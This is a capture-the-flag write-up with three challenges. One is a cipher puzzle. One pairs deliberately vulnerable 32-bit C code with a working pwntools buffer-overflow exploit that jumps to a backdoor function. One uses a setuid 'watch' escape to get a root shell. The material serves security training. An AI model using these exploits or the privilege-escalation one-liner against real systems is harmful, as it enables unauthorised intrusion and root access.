MARTINA
URL: https://tficomic.io/martina \(\to\) https://challenges.tficomic.io/SOMETHING/
Hey there. Are you trying to crack the cover password?
Here is the encrypted password: ZKSWIE.
Can you decrypt it using the phrase DWARF GLYPH JOCKS MUNTZ VIBEX?
The cipher used here was invented in early 20th century and requires the use of Polybius squares.
Once you crack the cover password, you can submit the answer to the MARTINA - Crack the ****** challenge in this platform.
MARTINA - White Wolf
URL: https://tficomic.io/REDACTED \(\to\) https://challenges.tficomic.io/SOMETHING/
You found a challenge!
Here's a small bonus for finding it: KEY{REDACTED}. Submit it as a "Bonus" here.
Solve the challenge below for additional points. The flag will be in format KEY{...}:
Incoming transmission...
==== WHITE WOLF ECHO ACTIVE ====
TASK: ROOT PENANCE RIG
SCANNING FOR VULNERABILITIES...
VULNERABILITY FOUND: BOF
BACKDOOR FUNCTION FOUND, OFFSET: 0x8049240
RIG FILES OBTAINED: [LINK](https://challenges.tficomic.io/SOMETHING/challenge.zip)
RIG INSTANCE LOCATED: nc challenges.tficomic.io 7200
// Compiled with `gcc -g -fno-stack-protector -no-pie -z execstack -m32 penance-rig.c -o penance-rig`
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <unistd.h>
void setup() {
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
}
void backdoor() {
printf("Elevating access...\n");
sleep(3);
printf("Congratulations! Here is the flag: ");
sendfile(STDOUT_FILENO, open("./flag.txt", 0), 0, 100);
fflush(stdout);
printf("\n\nWARNING: PROBATION LOCK TRIGGERED\n");
printf("\n---------- CONNECTION TERMINATED ----------");
exit(0);
}
void vuln() {
char command[64];
printf("Enter a command: ");
scanf("%s", command);
printf("Sorry, you are not authorized to perform that function. Goodbye!\n");
}
int main(int argc, char **argv) {
// Disable buffering
setup();
puts("=========================");
puts("** PENANCE RIG OS v1.5 **");
puts("=========================");
puts("");
vuln();
return 0;
}
Solution
The relevant part: lines 27-29. Gist: It's a stack-based buffer overflow.
We can trigger a buffer overflow here, as the input is not checked and the buffer is only 64 bytes in size on the stack. With that we can do a classic stack-based buffer overflow that overwrites the return address on the current stack with the address of the backdoor function.
Automated version in Python with pwntools:
from pwn import *
conn = remote('challenges.tficomic.io', 7200)
payload = b"A" * 76 # buffer overflow padding to reach return address
payload += p32(0x08049240) # target address (backdoor function) - 32-bit
# Wait until we are prompted for a command
print(conn.recvuntil(b"Enter a command:"))
# Send the payload
conn.sendline(payload)
# Print what we receive
print(conn.recvall())
Running the code against the target:

Yielding the key: KEY{REDACTED}
MARTINA - Penance
URL: tficomic.io/REDACTED \(\to\) https://challenges.tficomic.io/SOMETHING/
You found a challenge!
Here's a small bonus for finding it: KEY{REDACTED}. Submit it as a "Bonus" here.
Solve the challenge below for additional points. The flag will be in format KEY{...}:
Help Martina break into Penance's servers!
Try to gain root level access to the system and read the /flag.txt file.
Connect with ssh -p 7001 ctf-8147065b585c@ssh.dyn.mctf.io to get started.
(paste that command into your terminal or command prompt)
Solution
Via setuid binary: watch https://gtfobins.github.io/gtfobins/watch/
/usr/bin/watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
KEY{REDACTED}